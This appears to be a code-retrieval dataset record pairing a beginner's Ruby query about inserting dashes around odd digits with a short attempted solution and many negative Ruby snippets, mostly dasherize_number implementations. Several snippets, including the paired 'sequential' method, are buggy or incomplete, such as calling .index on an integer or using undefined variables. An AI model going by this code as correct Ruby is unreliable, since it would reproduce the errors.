"def get_fax_status(faxids, options = {})\n logger.debug \"Gathering fax status information for id(s): '#{faxids}'\"\n\n if faxids.is_a? String\n action = 'Get_FaxStatus'\n elsif faxids.is_a? Array\n action = 'Get_MultiFaxStatus'\n faxids = faxids.join('|')\n else\n logger.warn \"Error wth fax ids parameter id(s): '#{faxid}'\"\n return { Status: 'Failure' }\n end\n\n postVariables = {\n action: action,\n sFaxDetailsID: faxids\n }.merge!(options)\n res = execute(postVariables)\n res\n end",
"def send_file(archives)\n @archives = archives\n @event = @archives.first.event\n mail(to: @archives.first.email, subject: t('photographer_client.email_with_photos_url_title', event_type: @event.get_translated(:event_type,I18n.locale), event_name: @event.get_translated(:name,I18n.locale)))\n end",
"def test_send_multiple_files()\n # Parameters for the API call\n file = File::open(TestHelper.get_file('http://localhost:3000/response/image'))\n file1 = File::open(TestHelper.get_file('http://localhost:3000/response/image'))\n\n # Perform the API call through the SDK function\n result = @controller.send_multiple_files(file, file1)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n end",
"def _send_point(body)\n body.each_slice(100) do |p|\n conn.post('/?f=wavefront', p.join(\"\\n\"), 'application/octet-stream')\n end\n end",
"def send(*rest) end",
"def send(*rest) end",
"def send(*rest) end",
"def send_file_xsendfile(request, response,path, mime_type)\n\t\n\t#Calculate etag, not sure if needed, perhaps apache does this already\n\tstat = File.stat(path)\n # Set the last modified times as well and etag for all files\n\tmtime = stat.mtime\n # Calculated the same as apache, not sure how well the works on win32\n\tetag = ETAG_FORMAT % [mtime.to_i, stat.size, stat.ino]\n\n modified_since = request.env[HTTP_IF_MODIFIED_SINCE]\n\tnone_match = request.env[HTTP_IF_NONE_MATCH]\n\n # test to see if this is a conditional request, and test if\n\t # the response would be identical to the last response\n\t # Not sure whats going on here - stole from mongrels dir handler, which probibly does everything correctly..\n same_response = case\n when modified_since && !last_response_time = Time.httpdate(modified_since) rescue nil then false\n when modified_since && last_response_time > Time.now then false\n when modified_since && mtime > last_response_time then false\n when none_match && none_match == '*' then false\n when none_match && !none_match.strip.split(/\\s*,\\s*/).include?(etag) then false\n else modified_since || none_match # validation successful if we get this far and at least one of the header exists\n end\n\n\tif same_response\n\t response.status = 304\n\telse\n\t #Status?\n\t response.header[ETAG] = etag\n\t response.header[\"X-Sendfile\"] = path\n\t response.headers[CONTENT_TYPE] = mime_type\n\t response.headers[CONTENT_LENGTH] = \"0\"\n\tend\n\t \n\tresponse.body = []\n\t\n\treturn stat.size\n end",
"def mime(*flags, &block)\n open(:mime, *flags, &block)\n end",
"def send_extended_data( type, data )\n @connection.register_data_request( self, data, type )\n end",
"def send(options={})\n end",
"def send_file_data filename\n\t\tEventMachine::send_file_data @signature, filename\n\tend",
"def receive_axfr(soa_resource)\n done\n end",
"def send_file(file_path, receiver_uuid, file_uuid)\n Pantry.logger.debug(\"[FileService] Sending file #{file_path} to #{receiver_uuid}\")\n @sender.send_file(file_path, receiver_uuid, file_uuid)\n end",
"def live_send(destinations,body,clientmessagereference,options = {})\n @options[:method] = 'sendsms'\n @options[:destinations] = to_csv(destinations) \n @options[:clientmessagereference] = clientmessagereference\n @options[:body] = body\n @options.merge(options)\n response = ta_response(send_params)\n return response\n end",
"def sendfile\n @tmxfile = Tmxfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => Hash.from_tmx(@tmxfile.source_data).to_json }\n# format.tmx { render :tmx => @tmxfile.source_data }\n format.tmx {\n @sendfile = \"\"\n doc = XML::Document.string(Tmxfile.first.source_data) \n phrases = doc.find('/language/phrasetype/phrase')\n targetdoc = XML::Document.string(Tmxfile.first.target_data) \n tphrases = targetdoc.find('/language/phrasetype/phrase')\n sourcehash = createsourcehash(phrases) # a private function\n targethash = createtargethash(tphrases) # a private function\n @sendfile = createTMX(sourcehash, targethash)\n render :sendfile\n }\n end\n end",
"def postEntityFax( entity_id, number, description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['number'] = number\n params['description'] = description\n return doCurl(\"post\",\"/entity/fax\",params)\n end",
"def send_batch msgs\n @ws.send encode_batch(msgs)\n end",
"def show\n\n\n extension = @notice.Select_File.split('.')\n send_file Rails.root.join('public','uploads',@notice.Select_File),\n :type => \"application/#{extension[1]}\", :x_sendfile =>true\n \n @file=\"http://localhost:3000/notices/\".concat(@notice.Select_File)\n\n\n\n \n\n end",
"def x_sendfile(path, options = {})\n if behind_apache? or behind_nginx? or params['x_sendfile']\n headers['X-Sendfile'] = File.expand_path(path)\n end\n send_file(path, options)\n end",
"def x_sendfile(path, options = {})\n if behind_apache? or behind_nginx? or params['x_sendfile']\n headers['X-Sendfile'] = File.expand_path(path)\n end\n send_file(path, options)\n end",
"def send_free_message(kind, phone_number = params[:phone_number])\n raise \"Phone_number is not given\" if phone_number.blank?\n \n messaging = Messaging.new\n messaging.send(\"send_free_#{kind}\", normalize_phone(phone_number), @iphone)\n \n render :text => \"\"\n end",
"def send_email\n \n if self.category == \"Success\"\n \n UserMailer.success_notification_email(c.user.perfil.emailadicional1,c.xml_file_name).deliver\n \n elsif self.category == \"Warning\"\n \n UserMailer.warning_notification_email(c.user.perfil.emailadicional1,c.xml_file_name).deliver\n \n elsif self.category == \"Error\"\n \n UserMailer.error_notification_email(c.user.perfil.emailadicional1,c.xml_file_name).deliver\n \n end\n \n end",
"def convert_tiff_to_fax_from_request\n puts('Update parameters of TIFF image from request body according to fax parameters.')\n\n upload_sample_image_to_cloud\n\n # Update TIFF Image parameters according to fax parameters\n out_path = nil\n storage = nil # We are using default Cloud Storage\n\n input_stream = File.open(File.join(ImagingBase::EXAMPLE_IMAGES_FOLDER, get_sample_image_file_name), 'r')\n request = AsposeImagingCloud::CreateFaxTiffRequest.new(input_stream, out_path, storage)\n\n puts('Call CreateFaxTiff')\n\n updated_image = imaging_api.create_fax_tiff(request)\n save_updated_sample_image_to_output(updated_image, updated_image)\n puts\n end",
"def add_mime_types\n puts \"Updating Mime Types\"\n insert_into_file \"config/initializers/mime_types.rb\", :after => \"# Be sure to restart your server when you modify this file.\" do <<EOF\nMime::Type.register_alias \"text/plain\", :refworks_marc_txt\nMime::Type.register_alias \"text/plain\", :openurl_kev\nMime::Type.register \"application/x-endnote-refer\", :endnote\nMime::Type.register \"application/marc\", :marc\nMime::Type.register \"application/marcxml+xml\", :marcxml, \n [\"application/x-marc+xml\", \"application/x-marcxml+xml\", \n \"application/marc+xml\"]\nEOF\n end \n end",
"def process(*files) # TODO: rename from process - should act as SexpProcessor\n files.each do |file|\n warn \"Processing #{file}\" if option[:verbose]\n\n ext = File.extname(file).sub(/^\\./, \"\")\n ext = \"rb\" if ext.nil? || ext.empty?\n msg = \"process_#{ext}\"\n\n unless respond_to? msg then\n warn \" Unknown file type: #{ext}, defaulting to ruby\"\n msg = \"process_rb\"\n end\n\n begin\n sexp = begin\n send msg, file\n rescue => e\n warn \" #{e.message.strip}\"\n warn \" skipping #{file}\"\n nil\n end\n\n next unless sexp\n\n process_sexp sexp\n rescue SyntaxError => e\n warn \" skipping #{file}: #{e.message}\"\n end\n end\n end",
"def in_filetypes(filetypes_a)\n @filetypes = filetypes_a.map { |e| \"*.#{e}\" }\n self\n end",
"def fax_post(api_key, fax_number, opts = {})\n fax_post_with_http_info(api_key, fax_number, opts)\n return nil\n end",
"def upload(filepath)\n params = {}\n for file_to_upload in filepath do\n unless file_to_upload.nil?\n file_extension = file_to_upload.split('.')[-1]\n\n content_type = case file_extension\n when 'jpeg' then 'image/jpeg'\n when 'jpg' then 'image/jpeg'\n when 'png' then 'image/png'\n when 'pdf' then 'application/pdf'\n when 'xcf' then 'image/xcf'\n when 'text' then 'text/plain'\n when 'mpeg' then 'video/mpeg'\n when 'mp4' then 'video/mp4'\n else raise_invalid_request(\"#{file_extension} is not yet supported for upload\")\n end\n\n params[:file] = Faraday::UploadIO.new(file_to_upload, content_type)\n end\n end\n perform_create(params, true)\n end",
"def send_fax_status(fax_requests_queue_id)\n begin\n conn = Faraday.new(url: FAX_SERVER_URL, ssl: { ca_file: 'C:/Ruby200/cacert.pem' }) do |faraday|\n faraday.request :url_encoded\n faraday.response :logger\n faraday.adapter Faraday.default_adapter\n end\n token = FaxServices::Fax.get_token()\n parts = [\"sendfaxstatus?\",\n \"token=#{CGI.escape(token)}\",\n \"ApiKey=#{CGI.escape(APIKEY)}\",\n \"SendFaxQueueId=#{(fax_requests_queue_id)}\"]\n path = \"/api/\"+parts.join(\"&\")\n response = conn.get path do |req|\n req.body = {}\n end\n return JSON.parse(response.body)\n rescue Exception => e\n HelperMethods::Logger.app_logger('error', \"send_fax_status: #{e.message}\")\n service_alive?\n return {}\n end\n end",
"def validate_filetype(attribute_name, filetypes, message = nil)\n value = send(attribute_name)\n if value && !filetypes.include?(value[:type].to_s.split(\"/\").first)\n append_error(attribute_name, message || :is_invalid)\n end\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def send_zip(active_storages, filename: 'my.zip', resize_to_limit: nil)\n require 'zip'\n files = SendZipHelper.save_files_on_server active_storages, resize_to_limit: resize_to_limit\n zip_data = SendZipHelper.create_temporary_zip_file files\n\n send_data(zip_data, type: 'application/zip', filename: filename)\n end",
"def upload_contacts(params={})\n @obj.post('upload-contacts', @auth.merge(params)) # file: UploadIO.new(filepath, 'text/csv')\n end",
"def send_file(message, file)\n response = self.class.post(@api.send_file_config[:url],\n :query => { :auth_token => @token },\n :body => file_body({ :message => message }.send(@api.send_config[:body_format]), file),\n :headers => file_body_headers(@api.headers)\n )\n\n ErrorHandler.response_code_to_exception_for :user, user_id, response\n true\n end",
"def trig(files)\n hash = {:files => files, :time => Time.now}\n @core.notify hash\n end",
"def set_fax\n @fax = Fax.find(params[:id])\n end",
"def fax_set(number)\n self.fax.set number\n end",
"def send_email_receipt_to_uploader\n @attributes[:send_email_receipt_to_uploader]\n end",
"def new\n @fax_document = FaxDocument.new\n @extensions = current_user.extensions\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fax_document }\n end\n end",
"def send_file(url, name, file_info = {})\n client.api.send_content(id, url, name, 'm.file', extra_information: file_info)\n end",
"def send_messages(messages)\n messages.each { |m| write_to_stream m }\nend",
"def supported(files)\n files.select { |f| SUPPORTED_TYPES.include?(f.extname.delete('.')) }\n end",
"def fax_post_with_http_info(api_key, fax_number, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: FaxApi.fax_post ...\"\n end\n # verify the required parameter 'api_key' is set\n fail ArgumentError, \"Missing the required parameter 'api_key' when calling FaxApi.fax_post\" if api_key.nil?\n # verify the required parameter 'fax_number' is set\n fail ArgumentError, \"Missing the required parameter 'fax_number' when calling FaxApi.fax_post\" if fax_number.nil?\n # resource path\n local_var_path = \"/fax\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'api_key'] = api_key\n\n # header parameters\n header_params = {}\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n form_params[\"fax_number\"] = fax_number\n form_params[\"document_id\"] = opts[:'document_id'] if !opts[:'document_id'].nil?\n form_params[\"file\"] = opts[:'file'] if !opts[:'file'].nil?\n form_params[\"delete_file\"] = opts[:'delete_file'] if !opts[:'delete_file'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FaxApi#fax_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def qualify_mime_type(thing, types)\n weigh_mime_type(thing, types).first\n end",
"def xlsx_index(item_type)\n send_xlsx @list.send(item_type).as_xlsx, \"#{@title} #{item_type}\"\n end",
"def mime(attrs, *mimes)\n mimes = mimes.map(&:to_s)\n Array(attrs).each do |attr|\n magic = MimeMagic.by_magic(@object.send(attr))\n unless magic && (mimes & [magic.type, magic.mediatype, magic.subtype]).any?\n error(attr, \"should be of type #{mimes.join(' or ')}\")\n end\n end\n end",
"def send!(recipients)\n sending_method = autodetect_sending_method(recipients)\n self.__send__(sending_method, recipients)\n end",
"def send message, targets\n end",
"def set_filetypes\n #unless params[:id] == 'download' || params == :file\n @filetype = Filetype.find(params[:id])\n # end\n end",
"def fix_mxf_characterization!\n self.characterization.mime_type = 'application/mxf' if mime_type == 'application/octet-stream' && format_label == [\"Material Exchange Format\"]\n end",
"def create_hl7_file_at(filepath, type)\n File.write(filepath, transmission.payload)\n log_file_sent(filepath, type)\n end"
] |
[
"0.67132324",
"0.6406969",
"0.52849126",
"0.52494866",
"0.5208716",
"0.5202113",
"0.51866937",
"0.517508",
"0.5167899",
"0.5086146",
"0.5060718",
"0.4979663",
"0.4967141",
"0.49550492",
"0.49392366",
"0.4936976",
"0.4907853",
"0.4894837",
"0.48779792",
"0.48726094",
"0.48566082",
"0.4826849",
"0.48100176",
"0.47983515",
"0.47729808",
"0.47605115",
"0.47163433",
"0.47102252",
"0.4707019",
"0.46955362",
"0.46882555",
"0.4679038",
"0.46594027",
"0.46082777",
"0.45917213",
"0.45847744",
"0.45750755",
"0.45680523",
"0.4566521",
"0.45540884",
"0.45515275",
"0.45244244",
"0.4503642",
"0.45004547",
"0.44958806",
"0.44931525",
"0.44860658",
"0.44719857",
"0.44637316",
"0.44613868",
"0.44527784",
"0.44406056",
"0.44386318",
"0.44386318",
"0.44386318",
"0.44267812",
"0.44223627",
"0.44215018",
"0.44200993",
"0.4413097",
"0.44075385",
"0.43992713",
"0.43947536",
"0.43824914",
"0.43824387",
"0.4380618",
"0.43755814",
"0.43749005",
"0.43749005",
"0.43748996",
"0.43729743",
"0.43642366",
"0.43585622",
"0.43480173",
"0.43396223",
"0.43395582",
"0.43386874",
"0.43379676",
"0.43340766",
"0.4329267",
"0.4324484",
"0.43235654",
"0.43234968",
"0.4323187",
"0.43143293",
"0.4312193",
"0.43120906",
"0.42958048",
"0.42954308",
"0.42844805",
"0.42837095",
"0.42822018",
"0.42812413",
"0.42802757",
"0.42713967",
"0.4259375",
"0.425539",
"0.42535505",
"0.4245736",
"0.42448837"
] |
0.5084891
|
10
|
a dash in between odd digits. number = 2112 number = 201105742 =begin P how to put the dashes inside two sequence of odd numbers, and also return all the integers in string format E dasherizer(2112) == '2112' dasherizer(201105742) == '201105742' D array string integer A convert the integer to an array iterate through the array if the if else condition returns true =end C result = [] counter = 0 def sequential(number) number.digits.reverse.each_with_index do |num, idx| if idx == num +1 p idx end end end
|
def sequential(number)
# number.digits.reverse.each_with_index do |num, idx|
# if idx + 1 == num
# return true
# end
# end
number.digits.reverse.all? {|num| num.index + 1 == num }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dasherize_number(num)\n\n arr = num.to_s.split(\"\")\n arr.each do |x|\n if x[0].to_i.odd?\n puts x[0] + \"-\"\n end\nend\n\n # if arr[0].to_i.odd?\n # puts arr[0] + \"-\"\n # elsif arr[arr.length-1].to_i.odd?\n # puts \"-\" + arr[arr.length-1]\n # # elsif x.to_i % 2 != 0 && x.to_i == arr[arr.length-1]\n # # puts \"-\" + x\n # # elsif x.to_i % 2 != 0 && x.to_i == arr[0]\n # # puts x + \"-\"\n # # else\n # # return nil\n # # end\n # end\n # end\nend",
"def dasherize_number(num)\n #split number into an array\n array = num.to_s.chars.map(&:to_i)\n i = 0\n #iterate over array to find odd numbers\n while i < array.length\n if !(array[i] % 2 == 0)\n #if it is the first number, only put a dash on the right side\n if i == 0\n array[0] = [array[i], \"-\"].join\n puts \"first number: #{array[0]}\"\n #if it is the last number, only put a dash on the left side\n elsif i == array.length-1\n array[array.length-1] = [\"-\", array[array.length-1]].join\n puts \"last number: #{array[array.length-1]}\"\n #else put a dash on both sides\n else\n if (i-1 == 0 && i+1 == array.length-1)\n array[i] = array[i]\n elsif i-1 == 0\n array[i] = [array[i], \"-\"].join\n elsif i+1 == array.length-1\n array[i] = [\"-\", array[i]].join\n else\n array[i] = [\"-\", array[i], \"-\"].join\n end \n end \n end \n i += 1\n end \n #return dashedString\n array = array.join\n puts array\n return array\nend",
"def dasherize_number(num)\n \n idx = 0\n string = num.to_s.split(\"\")\n arr = \"\"\n \n while idx < string.length\n \n if string[idx].to_i % 2 != 0 \n string[idx] = \"-\" , \"#{string[idx]}\" , \"-\"\n end\n \n idx += 1\n \n end\n\t\n arr = string.join.to_s\n\tarr.split(\"\")\n\t\n\tif arr[-1] == \"-\"\n\t\tarr[-1] = \"\"\n\tend\n\t\n\tif arr[0] == \"-\"\n\t\tarr[0] = \"\"\n\tend\n\t\n\tarr.gsub! \"--\", \"-\"\n\treturn arr\n \nend",
"def dasherize_number(num)\n#my counter variable\n i = 1\n# Convert numbers to a string \n number_string = num.to_s\n# Create result variable to add in the numbers after they've been 'dashed'\n result= \"#{number_string[0]}\"\n\n while i < number_string.length\n #need to convert number_string to variables because \"1\" != 1\n current_num = number_string[i].to_i\n # if there isnt a remainder after i divide by two add current_num to result \n if(current_num % 2 == 0) \n result += \"#{current_num.to_s}\"\n #if there is a remainder after i divide by 2 add current_num to result with a dash in front of current_num\n elsif (current_num % 2 == 1) \n result += \"-#{current_num.to_s}\"\n end\n i += 1\n end\n puts result\n return result\nend",
"def dasherize_number(num)\n\n index = 0\n \n num_string = num.to_s\n new_string = ''\n \n while index < num_string.length\n # Simplify your checks for odd and evenness here. \n # You are checking for so many things which makes the code messy.\n # Just divide the number using modulo you don't need to check for index\n \n if num_string[index].to_i.even? \n new_string += num_string[index].to_s \n elsif num_string[index].to_i.odd? \n new_string = \"-\" + num_string[index].to_s + \"-\"\n end\n \n index = index + 1\n end\n puts new_string\nend",
"def dasherize_number(num)\n arr = num.to_s.split(\"\")\n idx = 0\n while idx < arr.length\n if arr[idx].to_i % 2 == 0\n idx += 1\n elsif idx == 0 && arr[idx].to_i % 2 != 0\n arr[idx] = \"#{arr[idx]}-\"\n elsif arr[idx].to_i % 2 != 0 && arr[idx - 1].length > 1\n arr[idx] = \"#{arr[idx]}-\"\n else\n arr[idx] = \"-#{arr[idx]}-\"\n end\n idx += 1\n end\n return final = arr.join(\"\").split(\"\")\n if final[-1] == \"-\"\n final.pop\n end\n return final.join(\"\")\nend",
"def dasherize_number(num)\n num = num.to_s\n result = ''\n\n idx = 0\n while idx < num.length\n # No dash to be added: all even digits\n if num[idx].to_i % 2 == 0\n result += num[idx]\n \n # Is first\n elsif idx == 0\n result += num[idx] + '-'\n\n # Is last\n elsif idx == num.length-1\n result += '-' unless result[-1] == '-'\n result += num[idx] \n \n # All others\n else\n result += '-' unless result[-1] == '-'\n result += num[idx] \n result += '-'\n end \n\n #puts result #debug\n idx += 1\n end\n\n #puts result #debug\n return result\nend",
"def dasherize_number(num)\r\n nums = num.to_s.split('') #turns argument into a string and splits it into an array of single numbers. NOTE: '2' != 2\r\n nums.map! do |i| #Loop through nums .map! so you can change the orginal array\r\n if i.to_i.odd? == true # convert each iteration from string to integer, if its odd...\r\n i = \"-\"+ i # add a \"-\" before the number\r\n end\r\n i.to_s #leave it alone if its not odd and convert it back a string\r\n end#^^^\r\n\r\n if nums[0].to_i.odd? #this is to compensate for odd numbers at the beginning. \r\n nums[0].reverse! #example: [\"-3\",\"0\", \"-3\"] >> [\"3-\",\"0\", \"-3\"] \r\n end\r\n\r\nnums = nums.join('').split('') #converts [\"-3\",\"0\", \"-3\"] >> [\"3\", \"-\", \"0\", \"-\", \"3\"].\r\nnums.map! do |k| #loop through nums\r\n index = nums.index(k) #set index\r\n if nums[index] == \"-\" && nums[index+1] == \"-\" # checks to see if a dash is next to a dash\r\n nums.delete_at(index) #if so, delete it\r\n end\r\n k = k # otherwise leave k alone\r\n end\r\nreturn nums.join('') #return as a single string\r\nend",
"def DashInsert(num)\n\n # step1: convert the integer to a string\n # step2: determine whether a number is odd or not and grab index \n # step3: insert a dash after it \n\n num.scan(/[13597]{2}|.+/).join(\"-\")\n # num_arr = num.to_s\n # num_arr.each_char do |n|\n # \tif n % 3 = 0 \n # \t\tstr.insert(i+1, '-')\n # \tend\n # end\n # code goes here \n \nend",
"def dasherize_number(num)\n str = \"\"\n arr = num.to_s.split('')\n i = 0\n while i<arr.count\n if is_odd?(arr[i].to_f)\n if i>0 && !(str[-1]=='-')\n str += '-'\n end\n str += arr[i]\n if i<arr.count-1\n str += '-'\n end\n else\n str += arr[i]\n end\n i+=1 \n end\n return str\nend",
"def dasherize_number(num)\n\nnumx = num.to_s\nlength = numx.length\n\nidx = 0\n\nif numx[1] == nil\n\treturn numx[0]\nend\n\n\nwhile idx < length\nstring = ''\n\tif numx[idx] == 0\n\t\tstring = string + 0\n\t\tidx += 1\n\telsif num[idx] == nil\n\t\treturn string\t\n\telsif (numx[0] % 2) == 0\n\t\tstring = string + numx[0]\n\t\tidx += 1\n\telsif (numx[0] % 2 != 0)\n\t\tstring = string + numx[0] + '-'\n\t\tidx += 1\n\telsif ((numx[idx] % 2) != 0) && (((numx[idx - 1] % 2) == 0) && (numx[idx + 1] % 2) == 0)\n\t\tstring = string + '-' + numx[idx] + '-'\n\t\tidx += 1\n\telsif ((numx[idx] % 2) != 0) && (((numx[idx - 1] % 2) == 0) && (numx[idx + 1] % 2) != 0)\n\t\tstring = string + '-' + numx[idx]\n\t\tidx += 1\n\telsif ((numx[idx] % 2) != 0) && (((numx[idx - 1] % 2) != 0) && (numx[idx + 1] % 2) == 0)\n\t\tstring = string + numx[idx] + '-'\n\t\tidx += 1\n\telsif ((numx[idx] % 2) != 0) && (((numx[idx - 1] % 2) != 0) && (numx[idx + 1] % 2) != 0)\n\t\tstring = '-' + numx[idx] + '-'\n\t\tidx += 1\n\telse\n\t\tstring = string + numx[idx]\n\t\tidx += 1\n\tend\t\nend\n\nreturn string\n\nend",
"def dasherize_number(num)\n number_string = num.to_s\n i = 0\n result = []\n while i < number_string.length\n if number_string[i].to_i % 2 == 1 && number_string[i + 1].to_i % 2 == 1\n letter = \"-\" + number_string[i]\n else\n leter = number_string[i]\n end\n result.push(letter)\n i += 1\n end\n result.join(\"\")\nend",
"def dasherize_number(num)\n i=1\n num = num.to_s\n new_str = num[0]\n\n while (i>0 && i<num.length)\n if (num[i].to_i%2==1 || num[i-1].to_i%2==1)\n new_str = new_str + \"-\" + num[i].to_s\n else\n new_str = new_str + num[i].to_s\n end\n i+=1\n end\n return new_str\nend",
"def dasherize_number(num)\n num = num.to_s\n new = []\n \n if num[0].to_i % 2 == 1\n new.push(num[0])\n new.push('-')\n else\n new.push(num[0])\n end\n \n i = 1\n while i < num.size - 1\n if num[i].to_i% 2 == 1\n if (new[new.length-1] != '-')\n new.push(\"-\")\n end\n new.push(num[i])\n new.push(\"-\")\n else \n new.push(num[i])\n end\n i += 1\n end\n if num[num.size-1].to_i % 2 ==1 && new[new.length-1] != '-'\n new.push('-')\n end\n new.push(num[num.length-1])\n print new.join\n return new.join\n \nend",
"def dasherize_number(num)\n i = 1\n answer = [num[0]]\n while i < num.to_s.length\n if num[i].to_i % 2 == 1 || num[i-1].to_i % 2 == 1\n answer << \"-\"\n end\n answer << num\n i += 1\n end\n return answer.join(\"\")\nend",
"def dasherizer(integer)\n array = integer.to_s.chars.map(&:to_i)\n new_string = \"\"\n size = array.size - 1\n\n array.each_with_index do |int, index|\n if index == size\n new_string << int.to_s\n elsif int.odd? && array[index + 1].odd?\n new_string << int.to_s + \"-\"\n else\n new_string << int.to_s\n end\n end\n\n new_string\nend",
"def dasherize_number(num)\n\tnum_arr = []\n\toutput_arr = []\n\tevens = ''\n\twhile num > 0\n\t\tnum_arr.unshift(num % 10)\n\t\tnum /= 10\n\tend\n\ti = 0\n\twhile i < num_arr.size\n\t\tif num_arr[i] % 2 != 0\n\t\t\toutput_arr.push(evens) if evens != ''\n\t\t\tevens = ''\n\t\t\toutput_arr.push(num_arr[i].to_s)\n\t\telse\n\t\t\tevens += num_arr[i].to_s\n\t\tend\n\t\ti += 1\n\tend\n\toutput_arr.join('-')\n\nend",
"def dasherize_number(num)\n num_s = num.to_s\n\n result = \"\"\n\n idx = 0\n while idx < num_s.length\n digit = num_s[idx].to_i\n\n if (idx > 0)\n prev_digit = num_s[idx - 1].to_i\n if (prev_digit % 2 == 1) || (digit % 2 == 1)\n result += \"-\"\n end\n end\n result += num_s[idx]\n\n idx += 1\n end\n\n return result\nend",
"def dasherize_number(num)\n number = num.to_s\n dashed = \"\"\n\n dashed = number[0]\n if number[0].to_i % 2 == 1\n dashed += \"-\"\n end\n\n number[1..-1].each_char do |n|\n\n if n.to_i % 2 == 1\n if dashed[-1] != \"-\"\n dashed = dashed + \"-\" + n + \"-\"\n else\n dashed += n\n end\n else\n dashed += n\n end\n end\n\n if dashed[-1] == \"-\"\n return dashed[0...-1]\n end\n\n dashed\nend",
"def dasherize_number(num)\n\tnum_string = num.to_s\n\tidx = 0\n\n\twhile idx < num_string.length-1\n\t\tif num_string[idx].to_i % 2 != 0\n\t\t\tnum_string.insert(idx+1, \"-\")\n\t\tend\n\t\tidx += 1\n\tend\n\n\twhile num_string[idx] != \"-\"\n\t\tif num_string[idx2].to_i % 2 == 0 && num_string[idx2+1] != \"-\"\n\t\t\tputs \"#{num_string[idx2]} qualifies\"\n\t\tend\n\t\tidx2 += 1\n\tend\n\treturn num_string\nend",
"def dasherize_num(num)\n\n num_s = num.to_s\n\n result = \"\"\n\n i = 0\n\n while num_s.length > i\n\n digit = num_s[i].to_i\n\n if (i > 0) # only if the it's not the leading digit\n\n prev_digit = num_s[i - 1].to_i\n\n if (prev_digit % 2 == 1) || (digit % 2 == 1)\n result += \"-\"\n\n end\n\n end\n\n result += num_s[i]\n\n i += 1\n end\n\n return result\nend",
"def insert_dash(num)\n string_split = num.to_s.split(\"\")\n \n string_split.each_with_index do |num, i|\n if string_split[i].to_i.odd? == true && string_split[i+1].to_i.odd? == true\n string_split.insert(i+1, \"-\")\n i+=2\n end \n end\n return string_split.join\n \nend",
"def number_counting_seq(n)\n return \"\" if n == 0\n a = \"11\"\n return a[0...n] if n <= 2\n\n res = \"11\"\n (n-2).times do\n new_piece = res.split(\"\").chunk_while { |a, b| a == b }.to_a if res.length > 1\n res = \"\"\n new_piece.each { |chunk| res += \"#{chunk.length}#{chunk[0]}\" }\n end\n res\nend",
"def dasherize_number(num)\n result = String.new \n \n while num > 0 do\n digit = num % 10\n if digit % 2 != 0\n result = \"-\" + digit.to_s + \"-\" + result\n else\n result = digit.to_s + result\n end\n num = num / 10\n end\n # puts result\n result = result.gsub(\"--\", \"-\")\n# puts result\n \n \n \n if result[0] == \"-\" || result[len-1] == \"-\"\n len = result.length\n if result[0] == \"-\" \n result = result[1..len-1]\n end\n len = result.length\n if result[len-1] == \"-\"\n result = result[0..len-2]\n end\n end\n # puts result\n return result \nend",
"def stringy(number)\n digits = []\n counter = 0\n while counter < number do\n digits[counter] = counter.odd? ? 0 : 1\n counter += 1\n end\n digits.join\nend",
"def dashing_odds(num)\n\n # convert integer to string\n int_to_string = num.to_s()\n\n\n # checking the type of int_string\n #\n #\n\n # p num.instance_of? Integer # Fixnum is deprecated and replaced by Integer\n # p int_to_string.instance_of? String\n #\n # puts int_to_string.respond_to?(:to_s)\n\n # all 3 prints true !\n #\n # end of checking type of int_string\n # https://stackoverflow.com/questions/15769739/determining-type-of-an-object-in-ruby\n\n\n i = 0\n\n dashified = \"\"\n\n # treat string as an array\n while( int_to_string.length() > i )\n\n # p \"int_to_string[i].to_i #{int_to_string[i].to_i} % 2 = #{int_to_string[i].to_i % 2}\"\n\n # checks if number is odd\n if( int_to_string[i].to_i % 2 == 0 )\n\n if( int_to_string[i-1].to_i % 2 == 1 )\n\n dashified += \"-\"\n end\n\n dashified += int_to_string[i]\n\n\n else\n\n dashified += \"-\"\n dashified += int_to_string[i]\n # dashified += \"-\"\n\n end # if\n\n i += 1\n end # while\n\n # p dashified\n\n # remove leading dashes\n # treating string as array\n # p \"dashified[0] #{dashified[0]}\"\n\n if( dashified[0] == \"-\" )\n\n dashified = dashified.slice( 1, dashified.length() )\n\n end # if\n\n # remove trailing dashes\n # treating string as array\n\n # p dashified\n\n # p \"dashified[ dashified.length() - 1 ] #{dashified[ dashified.length() - 1 ]}\"\n\n if( dashified[ dashified.length() - 1 ] == \"-\" )\n\n dashified = dashified.slice( 0, dashified.length() - 1 )\n\n end # if\n\n p dashified\n\n\n # IMPROVEMENT !!!! \n #\n # remove repeating dashes e.g. 3--3--3\n # treating string as array\n\n # maybe best to have own method !\n\n # End of:\n # remove repeating dashes e.g. 3--3--3\n # treating string as array\n\n\n p dashified\n return dashified\n\nend",
"def dasherize_number(num)\n\t num_s = num.to_s\n\t\n\tresult = \"\"\n\t\n\ti = 0\n\twhile i < num_s.length\n\tdigit = num_s[i].to_i\n\t\n\tif (i > 0)\n\tprev_digit = num_s[i - 1].to_i\n\tif (prev_digit % 2 == 1) || (digit % 2 == 1)\n\tresult += \"-\"\n\tend\n\tend\n\tresult += num_s[i]\n\t\n\ti += 1\n\tend\n\t\n\treturn result\nend",
